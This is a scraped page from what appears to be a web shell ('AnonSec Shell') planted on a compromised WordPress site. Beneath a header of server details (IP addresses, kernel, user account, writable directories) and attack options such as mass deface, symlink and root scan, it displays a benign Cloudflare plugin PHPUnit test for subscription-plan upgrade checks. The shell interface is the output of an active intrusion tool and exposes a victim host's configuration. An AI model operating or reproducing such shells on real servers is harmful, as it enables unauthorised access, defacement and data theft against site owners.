. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.26.5  /  Your IP : 216.73.216.209   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium35.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : lasanffc ( 2331)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lasanffc/public_html/wp-content/plugins/cloudflare/src/Test/WordPress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/lasanffc/public_html/wp-content/plugins/cloudflare/src/Test/WordPress/PlansTest.php
<?php

namespace CF\Test\WordPress;

use CF\WordPress\Constants\Plans;

class PlansTest extends \PHPUnit\Framework\TestCase
{
    public function setup(): void
    {
    }

    public function testPlanNeedsUpgradeAllCases()
    {
        // FREE_PLAN
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::FREE_PLAN, Plans::FREE_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::FREE_PLAN, Plans::PRO_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::FREE_PLAN, Plans::BIZ_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::FREE_PLAN, Plans::ENT_PLAN));

        $this->assertFalse(Plans::planNeedsUpgrade(Plans::PRO_PLAN, Plans::FREE_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::PRO_PLAN, Plans::PRO_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::PRO_PLAN, Plans::BIZ_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::PRO_PLAN, Plans::ENT_PLAN));

        $this->assertFalse(Plans::planNeedsUpgrade(Plans::BIZ_PLAN, Plans::FREE_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::BIZ_PLAN, Plans::PRO_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::BIZ_PLAN, Plans::BIZ_PLAN));
        $this->assertTrue(Plans::planNeedsUpgrade(Plans::BIZ_PLAN, Plans::ENT_PLAN));

        $this->assertFalse(Plans::planNeedsUpgrade(Plans::ENT_PLAN, Plans::FREE_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::ENT_PLAN, Plans::PRO_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::ENT_PLAN, Plans::BIZ_PLAN));
        $this->assertFalse(Plans::planNeedsUpgrade(Plans::ENT_PLAN, Plans::ENT_PLAN));
    }
}

Anon7 - 2022
AnonSec Team